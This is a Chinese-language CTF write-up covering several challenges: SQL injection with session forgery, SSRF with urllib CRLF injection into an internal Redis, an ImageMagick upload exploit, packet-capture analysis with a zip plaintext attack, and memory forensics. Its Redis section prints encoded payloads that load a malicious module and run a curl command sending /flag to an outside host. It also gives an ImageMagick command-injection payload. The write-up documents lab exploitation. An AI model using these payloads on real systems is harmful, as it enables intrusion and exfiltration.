立志成为admin的男人
通过注册,提示要admin
。
登陆处存在
sql
注入:
用
sqlmap
注出管理员账号:
这里没有权限读取
index.php
,那肯定也没有权限能写webshell
:
扫描可以得到一个
test.php
,里面打印当前的用户名:
这里可以通过注入漏洞,往
/tmp
目录下的session
文件中写入,来伪造自己admin
的身份。
修改
session
,访问index.php
就可以得到flag
:
用Python写的一个网站 好像还没有写完?
首页有个ssrf
漏洞,但是能通过http
协议访问。
可以看一下请求头,是nginx
,并且网站是用python/3.6.5
写的:
存在
nginx
目录穿越漏洞,可以得到源码:/static../main.py
python
的urllib
出现过头注入,可以同来攻击内网ssrf
,来测试一下:
成功注入头部,存在
urllib
头注入漏洞。
这里攻击内网
redis
,用到了主从rce
,github
上有开源的脚本。
先开启恶意的
redis
服务器:
然后设置
redis
的主服务器为恶意redis
服务。
auth password123 //
*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
SLAVEOF 192.168.21.1 7789 //
*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a
CONFIG SET dbfilename exp.so //
*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a
发送数据:
curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a'
加载恶意模块:
auth password123 //
*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
MODULE LOAD ./exp.so //
*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a
SLAVEOF NO ONE //
*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a
发送数据:
curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a%0d%0a'`
然后执行命令,因为无回显,所以利用curl
命令把flag
文件传输出去:
auth password123 //
*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
system.exec 'curl -F "file=@/flag"
http://192.168.21.1:7789' //
*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a
发送数据:
curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a'
最后删除恶意模块,关闭恶意模块:
auth password123 //
*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
CONFIG SET dbfilename dump.rdb //
*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a
system.exec 'rm ./exp.so' //
*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a
MODULE UNLOAD system //
*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a
发送数据:
curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a%0d%0a
真实的环境中,充满了未知,漏洞与函数的拼接,能否绕过?
打开,需要爆破得到账号密码admin/1qaz@WSX
。(吐槽:这TM谁爆得出来?)
登陆后有个上传点,源码有串
base64
提示:
这里就利用
imagemagick+getimagesize
来执行代码。参考链接
payload
:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
pop graphic-context
#define xlogo_width 200
#define xlogo_height 200
最后找下flag
。
注入真的好难!!!
分析数据包,可以看到一堆sql
盲注的流量。
参照土司机的博客,可以提取出最后的
url:t.cn/Ai8PhqSb
和passwd:bkis
。
得到一个加密的压缩包。
翻找流量包,可以看到一个
readme.7z
:
看到两个压缩包都有
readme.txt
,所以是明文攻击。
把
readme.7z
解压,再用7z
压缩工具把readme.txt
压缩成zip
形式的。
解压就可以得到最后的
flag
。
google语法真不错!!!
给了一个系统镜像,首先分析下版本:
$ volatility -f xp.raw imageinfo
架构应该是
WinXPSP2x86
。
查看下进程:
$ volatility -f xp.raw –profile=WinXPSP2x86 pslist
可以查看下桌面文件:
$ volatility -f xp.raw –profile=WinXPSP2x86 filescan | grep 桌面
有个
360.jpg
,提取一下:
$ volatility -f xp.raw –profile=WinXPSP2x86 dumpfiles -D ./ -Q 0x000000000215f340
再去查看下
ie
浏览器历史:
$ volatility -f xp.raw –profile=WinXPSP2x86 iehistory
搜索下可以发现个
github
仓库:
看下提交记录,提示了
F5
,那就是F5
隐写了。
解密:
$ java Extract 360.jpg -p 360CTFisSOeasy
得到out.txt
,里面就是flag
。